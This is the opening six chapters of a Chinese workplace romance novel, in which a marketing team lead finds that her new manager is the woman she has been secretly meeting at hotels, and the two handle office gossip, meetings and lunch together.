《办公室里别对视》
1、第一章
祁音书站在酒店房间的镜前,微侧着脸。
右手轻轻碰了下左下颌的一道红痕,有点疼,她忍不住皱眉。
身后没关门,浴室水声淅淅沥沥地传来。她从镜中瞥了眼暖黄的灯光,转身,走向她丢在沙发上的挎包。
凌豫筝洗完澡出来,黑色长发挽成髻,耳边一缕碎发是湿的,身上只穿了件稍长的t恤。
二人进门只顾着接吻,没开灯,她们一明一暗地相对站着。
过会儿,祁音书露出笑容:“姐姐我走了。”
凌豫筝也很无所谓地点点头,抬手,挥了挥:
“嗯,下周见。”
-
三月,新蓉市还未转暖。
祁音书拉开卧室窗帘,乌云阴沉地压在头顶。
南方城市的春天就是这样,每一天起床都像是在开盲盒,如果有太阳,那就是幸运开出了隐藏彩蛋。
对面刚建起的住宅楼还未交工,窗框空洞,祁音书静静地站了会儿,直到身后传来敲门声。
她抿了抿唇,又长长地呼口气。
早餐桌上面对面坐着两个人,祁音书没讲话,只机械地往嘴里喂白粥。风刮动客厅的窗帘,在她的余光里,随姐姐萧疏音一样飘忽不定。
萧疏音工作在另外一座城市,比起回家,更像是来出差,她们没有什么共同话题。
粥喝了三分之一,祁音书放下瓷勺,扯卫生纸。
看似在专心划动平板的萧疏音立刻抬头,二人对上目光,祁音书先垂下睫毛。
“你周六很晚才回家是不是?”萧疏音问她,“下巴的伤又是怎么回事?”
如果有话题,大概就是这种,萧疏音会选择从她身上找个合适的突破口,关心她,企图撬开她的嘴巴。
“嗯,和同事聚餐。”祁音书起身,没回答第二个问题。
“祁音书。”
等她快走回到卧室门口,身后的姐姐沉声喊住她,“你到底还要跟我闹别扭到什么时候?”
祁音书的肩膀随呼吸缓缓抬起,再重重沉下,她并没有回头,但她可以想象萧疏音脸上的怒气和伤心,可她已经不想管了。
她走进房间,拎起一个白色的挎包,将床头柜上的充电线和手机都一股脑塞进去。
穿过客厅的时候,没理会随她转动的目光,祁音书冷着脸加快脚步。
“砰”——
应声灯亮起,祁音书面对家门,一个人静止在楼道里。
隔了好一会儿,她才神色无奈地松开门把,转身走几步,摁亮电梯。
到地下室坐进车里,祁音书关车门的动作倒是放轻不少,毕竟这车她才买没多久,心情再不好,也还有点心疼钱的理智。
顺手打开音乐,昨夜没播完的cd碟继续转动,芝加哥蓝调,电吉他和口风琴的浪漫结合。
祁音书抱着胳膊,皱眉欣赏了会儿。
虽然她名字里有个“音”字,但她对音乐可以说是半窍不通。碟片是昨晚与她约会的人送她的,那位倒是很爱音乐的样子,每次见面都要送她一张cd当礼物。
“也不知道她现实里是个什么样的人。”祁音书若有所思地嘟囔了一句,关掉音乐,切换晨间交通电台。
扣好安全带。
白色xc60驶离停车位。
-
等红灯的时候,放凹槽里的手机震了震。
祁音书随手拿起,下一秒,表情有些意外。
【不好意思,周六害你撞伤了,今天下巴感觉还行吗?】
其实不算是对方的问题,二人那个姿势,谁看都会觉得有点过火,只是撞伤下巴都还好了。
祁音书快速且简单地回到:【还行。】
跳绿灯。
祁音书放下手机,专心注视前方。
到写字楼b2停车层,熄火,她才又点开对方的消息:【拍一个给我检查看看?】
祁音书边开车门边忍不住笑,想了想,回:【你认真的吗?】
【哈哈,当然是开玩笑的。】对方立刻否认。
看完这条,祁音书切出私聊窗口,从前工作日早晨很少有人讲话的“我讨厌上班”微信群,堆积了99+的消息。
祁音书的脚步声在车来车往的地下室显得很微弱,她推开入电梯间的玻璃门,点击群右上角的提示标,消息一路滑到最顶端。
【我滴天!拿咖啡碰到咱们新领导了!我的运气是这个/大拇指/】
【你怎么知道是新领导?】
【她看我工牌跟我打招呼,给我吓一跳!】
……
电梯来了,祁音书锁屏手机,对里面已经有的几张熟人面孔微笑:“早上好。”
“祁老师早。”、“领导早!”、“群群早啊!”——
祁音书进电梯,就走到了最后面,可惜一左一右两个安全角已经被人占领,她只能站在中间。
电梯门合上。
除门以外全方位三百六十度无死角的镜面电梯,映照着众人尴尬又沉默的早晨。
到一层开门,人群蜂拥而至,刚在群里说碰见新领导的余樱快速给祁音书招了招手,而后被彻底堵死在门边。
电梯走走停停,上行至25层,开门,祁音书挤过人缝,先出门的余樱站过道里用手扇风。
“这就是我不敢多穿的原因,坐个电梯跟蒸桑拿似的!”余樱夸张。
祁音书随她并肩去打卡,走到感应器前,拿起工牌,“嘀”一声,双侧玻璃门打开。
“祁音书,早上好。”刷脸打卡后,电子女声冷漠播报。
“你干嘛一直跟着我?”都走到临窗的工位,见余樱还眼巴巴尾随在旁边,祁音书这才疑惑地看着余樱。
“亲爱的群群,你看我们群消息了吗?”
“看了,你碰见新领导了嘛。”
“是啊,你不好奇她怎么样?你得跟她交接上一任经理的工作资料吧?”
祁音书拿起保温杯,往茶水间走:“反正等会儿就要见了,也不差这么几分钟。”
“我找hr仔细打听了,人是老板从迷多高薪挖过来的,你知道迷多去年年底突然冲上排行榜前三了吧,听说都是这位新领导的功劳。”
听到这,祁音书的眼睛向右,看余樱:“那她为什么会从迷多跳——”
话还没讲完,祁音书的左肩被拐角出来的人狠狠撞了一下。
惯性往后跌一步。
“你——”
“你——”
撞与被撞的两人对视,都僵硬地卡在了第一个字。
唯一局外人余樱倒吸一口冷气,赶紧道:
“凌经理好!”
2、第二章
品牌营销部,分为四个小组,顶上一位经理。
祁音书是三组组长,在空降经理到来前,她曾是最有可能升任经理的人。当然,这一切都是有森公司的坊间传言。
或许是祁组长太年轻,又或许祁组长是上任跳槽经理的心腹。总而言之,出于复杂考量,品牌总监选择建议老板从外部挖人。
还在会议上当众要求,要祁音书在忙自己的工作之余,做好与新经理的交接工作。
多多辅助新经理,帮其尽快适应公司节奏。
包括余樱在内的一众人都为祁音书鸣不平,她们不针对任何人,只单纯对“空降新经理”这个身份有意见。
“咕嘟咕嘟咕嘟”——
站直饮机前,祁音书面色平静地弯腰接水。
她身边余樱敲字敲个不停,没静音,变成她接水的背景乐。
祁音书没心思琢磨余樱在忙什么,双眼有些恍神地等待水面到达杯口。刚才她与凌经理都十分默契地装作不认识对方,客气点头,但没走两步,凌经理在她身后喊她。
“那个——”她们之前没有交换过私人信息,所以凌经理没法准确叫出她的名字,但祁音书就是下意识转头。
果然,凌经理垂下胳膊,目光先扫了一眼她身边惊讶的余樱,才看向她,很严肃的脸:“麻烦你来一下我的办公室吧。”
“凌经理刚才是向你宣战啊!”接完水,走出茶水间,四周人变少,余樱便一把抓住祁音书的手腕,往无人的窗边带。
写字楼,巨大的落地玻璃窗,可以打开的窗口吹进来冷风。
余樱着急盯着眼前的祁音书,“群群,你意识到问题没有?凌经理应该还没见过你吧?这才上班几分钟她就准确找到你叫你到办公室?肯定提前了解过你了!”
“你以前跟戚经理关系那么好,哎呀,凌经理以后会不会故意为难你啊?”
窗外的光映在余樱的瞳孔里,祁音书抿着唇,耐心地等待余樱叙述完,才勉强笑,含糊道:“应该,不会吧。”
“怎么不会,你说——”
“对了,你说凌经理叫什么?”祁音书突然问。
“啊?”余樱顿了顿,“凌豫筝。”
-
各部门经理是独立办公室,但面积不算大。
进门左侧是开了条缝的玻璃窗,右侧是二人座的深黑色皮沙发,再往里,摆着鱼缸和盆栽的办公桌,最后是一个两人宽的开门书柜。
仅仅是这样,办公室就显得非常拥挤了。
祁音书之前就经常进来汇报工作,熟悉,知道一切布置都是公司安排的,凌豫筝应该是还没来得及整理。
她反手合上门,也挡住门外那一些窥探八卦的视线。
“凌经理。”祁音书站在门边,礼貌道。
窗外是阴天,但或许对凌豫筝而言,作为照明的光线足够,所以办公室里没有开灯。
她看着凌豫筝,还是熟悉的黑色长发,轻微的卷,很漂亮的弧度。据之前凌豫筝在酒店床上跟她讲,喜欢直发,所以没有烫过,但心情好的时候会吹成卷发。
“不过总是维持不了太久啦,毕竟不是烫的。”凌豫筝跪在她面前,“今晚你想先摸摸看,还是直接亲我?”
祁音书闭了下眼,不太自然地别开脸去望窗外飞过的鸟。
问题。
这才是问题。
觉得会是一辈子不在白天见面的关系,说过不少放肆的话,原本八竿子打不着的人就这样水灵灵出现在现实生活中。
太让人无措了。
“你——过来坐吧。”凌豫筝的声音偏低,比起祁音书的声线要成熟许多,这也曾是让祁音书非常着迷的一个部分。
祁音书点点头,慢吞吞走到办公桌前,坐凌豫筝对面。
这才更近距离地与凌豫筝对视。
凌豫筝的眼睛很漂亮,眼角和眼尾都是比较尖的类型,不笑的时候显得有点冷。
这会儿,二人尽量对视着,凌豫筝便努力对她挤出某种自然的笑意。
于是那严肃的棱角就化作亲和的月牙,连带着整张脸都温柔了。
“千万别紧张,其实碰上这种状况,我也非常意外。”凌豫筝主动宽慰她。
对了,还有就是,她与凌豫筝都是在夜晚见面,对方喜欢戴灰色和粉色的美瞳,在酒店床灯里瞳孔特别诱人。
而眼前这个凌豫筝,却是规规矩矩戴着一副金色细框眼睛,比较宽松的一件蓝色衬衫,锁骨间垂坠的项链也很陌生。
祁音书记得她收到cd碟后曾想送凌豫筝项链,凌豫筝却笑眯眯拒绝:
“我容易弄丢东西,不爱戴项链,摘来摘去,很麻烦的。”
祁音书非常明显地叹口气,垂低目光,对眼前的一切只能点评为:“确实,太意外了。”
凌豫筝笑了声:“你叫祁音书对吗?”
祁音书眨了下眼睛。
凌豫筝指尖敲敲桌上的文件夹,补充,“这件事也怪我啦,早就收到了同事的资料,懒得看,刚才临时恶补了一下。”
“嗯——”祁音书挠挠脸颊,“也没关系吧,看不看都一样。”
“这倒也是,毕竟我来这里上班是既定的事实。”凌豫筝双手交握,“那以后在公司里,我们——”
咚咚咚。
祁音书与凌豫筝同时看向那扇紧闭的门。
隔几秒,凌豫筝才淡定开口:“请进。”
是总裁办的助理:“凌经理,叶总找您。”
祁音书当即站起身,面不改色道:“凌经理,那我回去整理一下资料,晚点再来找您。”
凌豫筝的眼底也迅速抹去先前二人独处时的笑意,变得冷淡,没太多表情地点了下头:“好,谢谢。”
祁音书转身,与总裁办的助理相视一笑,擦肩,离开办公室。
走出门的一瞬间,祁音书敏锐察觉到有不少偷偷瞟她的视线,之前她要升职一说在办公室里传得沸沸扬扬。估计,也会有一些人,想看看她与新经理谈话后的表情吧。
每个人怎么想,很难控制。
祁音书就在想,她与凌豫筝的两次白天见面,都挺戏剧化。
不爱聚会的她破天荒出门参加朋友的生日派对,进便利店买瓶水的时间,室外落下瓢泼大雨。
便利店的伞居然碰巧卖完。
祁音书无助地站门边,用手接雨水,低头看时间,一度叹气,想要给朋友打电话讲她可能会迟到。
一把伞匆匆收拢,进店,隔会儿,又哗一声在她旁边打开。
那把印着饼干怪兽的白色雨伞,伞面上五颜六色的卡通图案特别可爱,祁音书放空地望着那伞顶远去,心中默默在想,如果它能好心回来接我就好了。
奇怪。
那伞仿佛听见了她的心声。
在雨幕中停住,一秒后,转身。
当确信那伞真是为她回头,停到她面前的时候,祁音书微微讶然地睁大双眼。
伞下主人穿件黑白格的毛呢外套,长裙,裹着厚厚的围巾,颇有点英伦复古风的味道。
瞳孔淡淡的粉色,对祁音书微微笑道:“天气预报,这雨要下很久,你去哪里?”
祁音书将手从米色毛绒外套温暖的口袋里抽出,懵懵地指向街道右边:“前面那家ktv。”
“这么巧。”对方迈上一步台阶,伞举向她的头顶,“我也是,一起过去吧。”
3、第三章
想着那把让她和凌豫筝产生交集的雨伞。
祁音书低头对手中的文件发呆,半天没有下一步动作。
座位离祁音书近的下属,眼睛瞄着窗边的人观察。电脑屏幕显示微信群聊天窗口,新消息发出的速度比她此刻眨眼皮的速度还要迅猛。
【糟糕,感觉领导去了趟新经理办公室回来灵魂都被掏空了。】
【不会要变天吧呜呜呜别啊我好喜欢群群的tt】
【怎么说???难道要架空咱们群群老师/惊恐/】
【我觉得——】
输入框的字还没打完,下属耳尖听到身后响起的脚步声,立刻切换word界面,直起背,开始胡乱敲击:关于有森2025第一季度……
“群群。”
肩膀被人摁住,祁音书转头,四组江组长对她微笑,“有时间吗?叶总想让我们几个先和凌经理碰一碰。”
她便顺势放下看了许久没看进去的资料,笑着起身:“好。”
二人并肩的身影穿过走道,映照在反光玻璃上。祁音书一头黑色长直发,齐刘海,比较碎,但发质属于蓬松偏硬的一类,即便走得有些快,也没有被风劲吹乱。
虽说祁组长根据公司对管理组的服装要求,穿了一身奶咖色的商务西装。
江组长收回天然宠溺的目光,四位组长就属祁音书的年纪最小,无论穿得再怎么成熟,在她眼里,还是像个装严肃的可爱妹妹。
快到会议室。
江组长想起群里传的风风雨雨,突然拉了下祁音书的手腕:“诶,对了群群。”
祁音书停住要推门的动作,给以疑惑的目光。
一头棕色卷发,向来以无忧无虑状态示人的江组长,竟对她露出十分担忧的神情,压低声,“我听说你一大清早就被里面那位经理单独约谈了?”
“嗯,不过不是约谈,就是问些工作上的内容。”
江组长皱眉,嘴唇动了动,最后只挤出一句:“唉,反正新官上任三把火,你忍一忍,许多事情也就过去了。”
祁音书温和地点点头,江组长抬手,看起来像是想要以过来人姐姐的姿态摸摸她的头发,以表安慰。
祁音书侧一步,先压下会议室门把,露出友善的笑容:“我们快进去吧。”
动作过于自然,没让江组长感觉到她对肢体接触的排斥,两人顺利进入会议室。
叶总在第一位,对门坐,祁音书喊了声“叶总好”,反身关紧门。
会议室由两张长方形木桌拼成,朝南,除祁音书和江组长以外的另外两位组长已经坐下。
有点像群面的格局。
叶总和凌经理坐对面,四位组长面向两位领导,也面向一整扇落地窗。
祁音书刚一坐下,二组组长,也是跟她关系最好的余樱,装模作样地坐直身体,右脚来踢踢她的鞋。脸上对正对面的凌经理挂公式微笑,意味不明。
祁音书不解地看眼余樱,将本子打开,笔平放在本子旁。
斜对面,凌豫筝还是那身规整的蓝色衬衣。
祁音书尽量越过凌豫筝的脸,礼貌看向正同一组组长聊闲天的叶总。
她视线刚一对过去,叶总交握的手松开,抬起,张了张五指,随后指向她给凌豫筝示意:“三组组长祁音书,四组组长江长吟,工作能力都非常强。”
一番客气的介绍过后,一组组长正式点开ppt。
说是“碰一碰”,直接变成了业务简报。
会议室里只剩下一组组长沉稳讲述的声音。
内容是祁音书年终做的,熬了一个通宵,里面的数据也好,方案也罢,早就印在了祁音书的脑子里。
所以这会儿,她可以开小差,笔帽都没揭开,只点在本子的横线上。
眼睛盯着不时翻页的屏幕,余光却总是会注意到对面凌豫筝细微的一举一动。
比如仰头思考时流畅的下颌线,比如低头记文字时垂落的发丝,戴了一个银色尾戒的小拇指。
凌豫筝写字速度很快,却只记短短几个字,祁音书默默观察着,不对,不像是记录,感觉那笔下的黑色墨迹更像是在计算数字——
“不好意思。”凌豫筝突然抬手,“麻烦你再翻到上一页。”
页面变动时,祁音书快速看眼那认真的侧脸,再蹙眉看向屏幕。
几乎是同一秒。
祁音书的心声和凌豫筝的校错声同时响起:“右下角最后一格的预测值有问题。”
很不起眼的数字点,又是预测数据,过往很少有人关心到这部分。基本上都会等到真正执行的时候,才临时以新一轮计算数据为准。
“啊?错了吗?”一组组长下意识看向真正的制作人祁音书。
沉默片刻,一轻一沉两道声音又默契地交叠响起:“应该是4332.21。”
-
会议后半,进入年度活动方案的总经理审核阶段。
与三组关系不大,祁音书身体向后倚,表情有点冷,笔尖在本子上不断圈着那个4332.21。
她双眼放空地琢磨,的确是她那晚事情太多太急,验算疏忽了,下次还是不能熬夜赶东西。
揣在西装兜里的手机在这时震了震。
祁音书低头拿出手机,看见屏幕上显示有一条未读消息,想也没想就点进去。
她只看了一秒屏幕,就颇为惊讶地抬眼看向斜对面的凌豫筝。
凌豫筝的黑色手机静静摆在桌面上,人也环着胳膊,一脸平静地望向屏幕。
好似从未发出消息。
祁音书目光又垂下。
【抱歉,我不知道是你做的内容。】
【/兔子鞠躬动画表情/】
职场应该公事公办,祁音书压根没觉得刚才的场景有问题。何况,她很清楚她与凌豫筝之间的情分,完全没有到这种应该互相关注情绪变化的程度。
凌豫筝这个道歉,反倒让祁音书不知道当下该回哪句话比较合适。
她对着手机屏幕思考了好一会儿,直到感觉身旁的余樱有想找她耳语的动作,才赶紧发回:【没事。】
锁屏手机。
学凌豫筝,将手机平放到桌面上。
对面的黑色手机屏幕亮了亮。
祁音书不想关注,却忍不住莫名的好奇心。放松好一会儿的上身紧绷,慢慢向前坐,脸重新朝向屏幕。
她一边撑着下巴,一边偷偷注意凌豫筝的动静。
凌豫筝扫了眼手机屏幕,嘴唇绷紧一秒,将屏幕倒扣放下。
过会儿,身体也往前,两只胳膊撑在桌面上。双手交握,大拇指缓慢刮着那凸起的骨节。
祁音书收回目光,眼前密密麻麻的文字,一组组长与叶总的交流声都逐渐远去。
她在想,凌豫筝那动作,到底是在思考,还是在——
紧张?
4、第四章
“凌豫筝,你和群群以前认识?”
会议结束,叶总点名让凌经理单独留下。
待四位组长先行离开以后,叶漫宁改变姿态,交叠双腿,眉飞色舞,就地开启八卦模式,“你怎么到哪儿都能有认识的人?”
被审判的人正凝眉对手机打字,也不再保持对叶漫宁这位领导的恭敬态度。
眼皮子都没抬,她随口反问:“谁是群群?”
她顺便给祁音书又丢回去一个小猫拍肩膀的卡通表情包。
叶漫宁沉默了两秒,才说:“祁音书啊,你连她小名都不知道?那你们怎么开个会微信来微信去的。”
凌豫筝顿时转头:“我什么时候跟她微信来微信去了?”
叶漫宁满脸“你当我是傻子吗”,眯着眼睛审视她:“朋友,你发消息她拿手机,她发消息你手机亮,我不至于笨到这都发现不了吧?”
凌豫筝转动座椅,面向领导,神情极端平静:“所以这个事情和工作有关吗。”
“没有。”叶漫宁耸耸肩。
她满意微笑,优雅起身。
“今晚你有时间吧?”叶漫宁改口道,“疏音难得回来,我们宿舍久违地聚个会。”
凌豫筝已然走了两步,听叶漫宁这话,她脚步顿住,左手食指轻轻地在桌沿点了两下。
“哪个qun?”
“群?”叶漫宁顿了顿,“没呢,我还没在群里问,先问你时间嘛。”
凌豫筝转身看向叶漫宁的眼睛:“我是问,qunqun,是哪两个字?”
叶漫宁眉一皱,眼一眯,一边嘴角都纳闷地翘起来:“啊?”
笔直站着的人却丝毫没有认为自己的问题有多么跳跃,非常无辜地对叶漫宁点了点下巴:“嗯。”
“……微信群的群。”叶漫宁无语。
凌豫筝若有所思地微微仰头,嘴里重复:“微信群的群,群群,挺可爱的,但为什么会是这个名字。”本质是没有想要求得答案的复读机。
“她说念快了就这样。”叶漫宁无所谓地抬抬手。
凌豫筝看回叶漫宁的脸,弯起笑眼:“原来如此。”
转身,想要直接走掉。
叶漫宁立刻大声:“凌豫筝!晚上吃饭!听见没有啊!”
那冷静的背影摆摆手:“不好意思,晚上有约,下次一定。”
-
祁音书回到座位上,刚坐下,旁边伸来一只手,一颗彩色塑料纸包裹的硬糖被放在她的桌边。
她顺势向右看,坐她最近的小妹妹冲她挤出笑脸:“领导吃糖,吃糖心情好!”
祁音书张了张嘴,想说真的别叫我领导怪别扭的。那小妹妹已经飞速扭回座位,不给她任何一秒闲聊的时间。
从前祁音书还是个普通员工的时候,就常听她前任领导说,升职了岗位往管理层走了,即便你想跟下面的人打成一片,都很难开口啰。
近半年,她算是切身体会到了领导的教诲。
幸好。
和她同期入公司的还有个余樱。
祁音书捏起那颗糖,感觉小妹妹在看自己,便捏紧彩色的糖纸,对小妹妹扬了扬:“谢谢。”
社交完毕。
祁音书将彩色糖果摆到键盘前,电脑调出聊天框,鼠标顿了会儿,她又拿起手机。
对准糖果拍了张照片。
颇有雏鸟情结地特地把照片发给了前任经理。
【我也到收糖的年纪了。】她这样感慨到。
对面很快回来一串“哈哈哈哈”,还鼓励她“加油哦小祁我非常看好你”。
祁音书回一个小猫点头的表情包。
聊天框又恢复平静。
对方备注还是最初的【有森-戚经理】,祁音书想了想,点击对方头像,再点右上角的省略号,正准备进入备注改名。
“祁音书,有时间吗?”
她精神太集中,以至于凌豫筝已经停在她旁边出声,她才发现。
祁音书慌乱锁屏,“哗啦”一声椅子向后滑,她难得在公司露出窘迫的模样,迟疑两秒,才对不速之客点头:“嗯。”
“我有些事情还想要请教你。”凌豫筝非常客气,眼里闪着柔和的光。
几分钟后,二人的身影彻底消失在大众视野外,一时间,开放办公间的键盘声又噼里啪啦猛响起来。
另一头,关紧门的办公室内,祁音书端着笔记本站门边,一副等待凌豫筝安排的谨慎状态。
凌豫筝不知何时挽起了一侧耳发,露出非常清爽的侧脸。祁音书只快速看了一眼就收回视线——果真没有戴耳饰。
她们亲热的时候,偶尔会说些天南地北不着调的无聊话。
比如祁音书就会抱怨,自己非常厌恶算数据,只是领导觉得我看上去厉害,又对我照顾,我才不得不硬着头皮往前冲。
凌豫筝则在她耳边轻笑,那我就是非常厌恶疼痛,虽然喜欢买一堆漂亮的耳钉,但一颗都没办法戴,因为连耳洞都不敢去打。
反正两人离开酒店就不会再见面嘛,原本那些话都是无所谓的。
但此时此刻。
祁音书一边想着凌豫筝果然没有耳洞,一边又在心底有些许的崩溃,凌豫筝肯定也会想起她讨厌数据这回事。
世界上没有任何事能万无一失,也没有绝对不透风的墙。她要牢记这个教训。虽然——她已经对凌豫筝说了超级多不该告诉她人的秘密。
她只能祈求凌豫筝记性不那么好。
“你在公司的样子——”凌豫筝淡淡出声,不过话只说了一半,就变了,“小祁,别紧张,先过来坐吧。”
别紧张。
这个词也是,换个地方,意味就完全不同了。
祁音书默默提了一口气,放轻动作又坐到凌豫筝面前。
“你应该没有两个微信吧。”凌豫筝在低头翻抽屉。
祁音书先摇了下头,意识到新经理没在看她,再出声补充:“没有,就一个。”
“哦。”凌豫筝取出一张a4大小的纸,抽空看她一眼,对她微微笑,“我也是。”
待那张纸被转个面,放到祁音书眼前,她才看清是重要资料的交接清单。
“这上面列的大部分资料我都已经看过了,确认没有问题,只是这末尾的几条。”
凌豫筝伸出食指,指尖点给祁音书看,“备注说是在公盘里,我没找到,你清楚路径吗?”
祁音书扫过四行文字,她都有印象,即便不在公盘,她电脑里应该也有备份,于是打开笔记本:“稍等,我现在翻一下发给您。”
“嗯。”凌豫筝应道。
祁音书找资料的神情很认真,她对面,凌豫筝也低头看着纸质文件。
几分钟里,办公室内安静极了,二人都能依稀听见门外传来的愉快笑声。
找够目标文件。
祁音书打开表格,快速列好跳转路径,保存,连带各种凌豫筝需要的信息,一并打包发给名为【x】的人。
备注还是x。
祁音书的目光先悄悄越过笔记本顶端,去看对面微侧着身体,冷淡面对台式屏幕的凌豫筝,几秒后,主动道:“凌经理,您需要的内容已经发您微信了。”
“嗯,我收到了,谢谢。”
凌豫筝操作着鼠标,咔哒咔哒点击。
祁音书垂在桌上的五指并拢:“那如果没有别的事,我就先出去了,今天工作有点忙。”
“好。”凌豫筝看她,一如既往的淡笑。
祁音书快走到门边时,凌豫筝以一种很突然想起事情的声音喊她:“对了群群。”
她下意识回头,都没发现凌豫筝对她的称呼变化。
穿蓝色衬衫的人没看她,只以漂亮的下颌线对着她,她看见那线条变化。
非常理智的声音同她讲:
“在公司就不跟你聊私事了,今晚下班我们吃个饭吧。”
5、第五章
祁音书感觉凌豫筝是在对她客气,毕竟看对方的神情,不像是这顿饭非吃不可。
估计是想就今天的状况进行正式沟通吧,以及,可能还需要商讨她们两人之后该如何相处。
想到这,祁音书稍微转回步子:“凌经理,非常感谢您的邀请,但我今晚已经和家人有约了,下次有时间我一定请您。”
字字句句都客套至极。
凌豫筝点鼠标的食指顿了顿,转头看了会儿祁音书的眼睛,后者丝毫没有要躲避的意思。
坐着的人垂眸,而后平静地收回视线,重新看向电脑屏幕,语调轻快:“好,那就等你有时间再聊。”
-
折腾一上午,总算能回座位上安定。
祁音书轻呼一口气,摘下手腕上的黑色项圈,随意卷了圈头发,束起,开始专心处理堆积在企业微信内的工作消息。
期间她们四位组长的闲聊群一直在电脑右下角闪烁。
祁音书忙着皱眉打字,直到临近饭点,才解决完跟财务部的问题,双击点开右下角的图标。
另外三位也不是闲人,相比已经被祁音书屏蔽的三组闲聊群,这个群内堆积的消息不会太多。
滑动滚轮。
祁音书哭笑不得地看完了大概二十多条分析。
另外三位组长整齐推导出一个核心结论:凌豫筝不是善茬,且非常针对小祁。一上午约谈小祁两次,大有问题。
余樱更是连圈她微信名三次,让她:“最近上班千万要当心哦!别主动惹凌经理!”
别主动惹吗。
祁音书笑了笑,延迟一个多小时之后,引用了余樱的“忠告”,回复一个小青蛙ok的动画表情。
她关掉对话框,拉开抽屉,拆了颗薄荷糖塞嘴里。
咯嗒、咯嗒。感受硬糖在齿尖摩擦,刚散开乌云的天光透过玻璃,照在她的侧脸上,让她的表情看上去有点诡谲的沉冷。
以后还要不要和顶头上司在酒店约会。
清凉的薄荷荡漾在唇齿之间,连呼吸都变得有些冷,她想起凌豫筝曾叼着一颗薄荷糖,让她舔。
凌豫筝教会她,也让她体验了不少她曾经只敢在幻想中沉浸的画面。
况且,还是难得的,她和凌豫筝都不想有恋爱关系的合拍情况。
她不得不承认,她非常迷恋凌豫筝带给她的感觉。
自由又能享受沉沦的感觉。
咔哒。
“群群老师!到点了!今天一起去食堂吧!”薄荷糖咬碎的瞬间,旁人来叫她,将她拉回现实。
祁音书转头,换上十分温和的笑脸:“好啊。”
-
公司食堂在写字楼四层,同一幢楼内的酒店外包经营,自助餐。
味道一般,但胜在比较近,不需要一堆人挤来挤去地等待。
叶漫宁和公司几位经理一起邀请凌豫筝来体验,电梯里大家还会互相寒暄,到食堂,几个人四散开,走在一起的就只剩下叶漫宁和凌豫筝。
“一会儿说晚上有约,一会儿又说晚上有空,我看你是在逗我玩。”
叶漫宁自然地取出两个餐盘,递给身后人一个。
虽然这么多年同学情谊,她也算习惯了凌豫筝这个自在如风的性格。但前后改口不过两三个小时的事,还是让她不得不怀疑凌豫筝没有别的意思,纯粹就不想见萧疏音而已。
至于这会儿又愿意去了,大概是这人连续拒绝九年之后总算知道不好意思了吧。
凌豫筝没反驳她的埋怨,将一个橙子放进她的餐盘:“多吃水果,有利身心健康。”
“你以前跟疏音的关系比跟我还好,怎么一毕业就一点联系都没有了,群里就没看你俩同时说话。”叶漫宁夹菜,“吵什么架至于这么多年还不能和好啊?”
等了会儿,凌豫筝都没接话,叶漫宁转头看,那总是对各种话题都无所谓的人脸上没太多表情。
“如果我说是因为她不回我消息,你信吗?”
叶漫宁上下扫凌豫筝一眼:“你俩都不回我消息,我说什么了吗?”
凌豫筝耸耸肩,将两块锅包肉夹进盘子里:“我以前和你关系一般,不回消息很正常吧。”
“哦!”叶漫宁翻个白眼,“真是谢谢你这么诚实。”
“但现在,你是我的好朋友。”凌豫筝眯眯笑眼,主动给叶漫宁夹菜,“你看你一需要我,我就跳槽过来了,领导,记得到时候多给我发点年终奖哦。”
“年终奖看业绩。”
夹完三荤一素,叶漫宁随凌豫筝向食堂角落走,“你是我朋友也不能例外,我们这里很注重员工平衡的。”
“叶总好!凌经理好!”一道有朝气的女声传来。
叶漫宁转头,看见一手捏着筷子一手对她们挥的余樱,“来坐吧,我们马上结束战斗。”
叶漫宁刚想说不用了,她心里还想找个清净的地方继续拷问凌豫筝。
哪想凌经理干脆越过她,径直到余樱对面。
坐下了。
祁音书正用卫生纸擦桌上的油,熟悉的香气靠近她身边,碰到她的手肘。
不是香水,而是类似bb霜一样清淡的甜味:“你们已经吃完了?”听声音朝向,凌经理先问了对面的余樱。
余樱当然答道:“差不多,我再喝口汤就搞定。”
“哦。”那温柔的声音停顿半秒,“小祁你不吃花生?”
祁音书这才抬起目光,见凌豫筝非常自然地注视自己,便回笑道:“嗯,我有点过敏。”
夹菜的时候不小心带进餐盘两颗,她没吃,摆在了餐盘右上角的圆形凹槽里。
余樱唏哩呼噜地把萝卜汤喝干净,对祁音书伸手:“群群,给我一张纸。”
祁音书从衣兜里拿出一个未拆封的小包卫生纸,抽出一张递给余樱。
过会儿,两人同时起身,职场社交部分由余樱完成,主动礼貌几句,然后同叶总和凌经理说了慢慢吃。
她们并肩走出几步,祁音书突然停住:“等我一下。”
她返回身,走到刚才的餐桌边,将一整包纸都推到了凌豫筝的手边:“凌经理,您早上借给我的,刚才忘记还您了,谢谢。”
她说完,凌豫筝眼中有短暂疑惑,但只拧眉又顺开的两三秒间,表情就豁然开朗。
祁音书面色没有波动,某次酒店约会,凌豫筝曾跟她闲聊到,没有随身带纸的习惯,真需要的时候还挺麻烦。
既然想起来这事,她就顺手帮忙。
凌豫筝看着她的双眼,笑容加深,温声配合。
“没事,一包纸而已。小祁,以后不用跟我这么客气。”
6、第六章
下午四点,祁音书带着组里三个同事,外出到友商公司谈ip合作。
期间收到过一次凌豫筝给她发来的消息,依旧是简明扼要,问某某文件在哪里可以找到。祁音书连电脑都没打开,凭记忆,迅速给凌经理回去一段话。
会议结束出来,天色已近傍晚,灰蒙蒙的雾压在空气中。
祁音书看眼时间,抬头,是三双期待的目光。
她便笑着说:“今天辛苦大家了,原地解散吧,路上注意安全,要打车回家的把发票给我。”
“好耶!”
“谢谢领导!”
“群群老师你咋走呀?我们一起呗?”
祁音书指向地铁:“不用,我回公司开车,你们走吧。”
目送三人的背影远去,祁音书才卸下成熟的笑脸,双目放空,无比疲惫地叹口气,然后转身走去地铁口。
玻璃映出她乘扶梯缓缓下行的身影。
在通道内走了没两步,看着手机的祁音书缓缓停住,屏幕上闪烁着一通来电。
姐姐。
萧疏音很少会在工作时间给她打电话,祁音书原本不想接,但还是担心有重要的事,停顿两三秒后,摁下接听键:“喂?”
与此同时,她身后广播响起声音:“请握紧扶手,注意脚下——”
“你在外面?”姐姐那偏冷的声线响起。
成为组长后,祁音书哪哪都努力装得像个大人,唯独声音,她装不了,在她脑中自我感觉,始终有点幼稚。
尤其是面对萧疏音的时候。
她特意清了清嗓,压低音调:“嗯。”
“……”萧疏音安静了会儿,才继续问,“在哪里?我等会儿去接你吧。”
“别麻烦了,等会儿我自己开车去太古里就行。”祁音书冷冰冰地拒绝。
临近下班高峰,地铁通道人来人往,脚步声交错,配上扶梯那机械循环的安全播报,十分嘈杂。
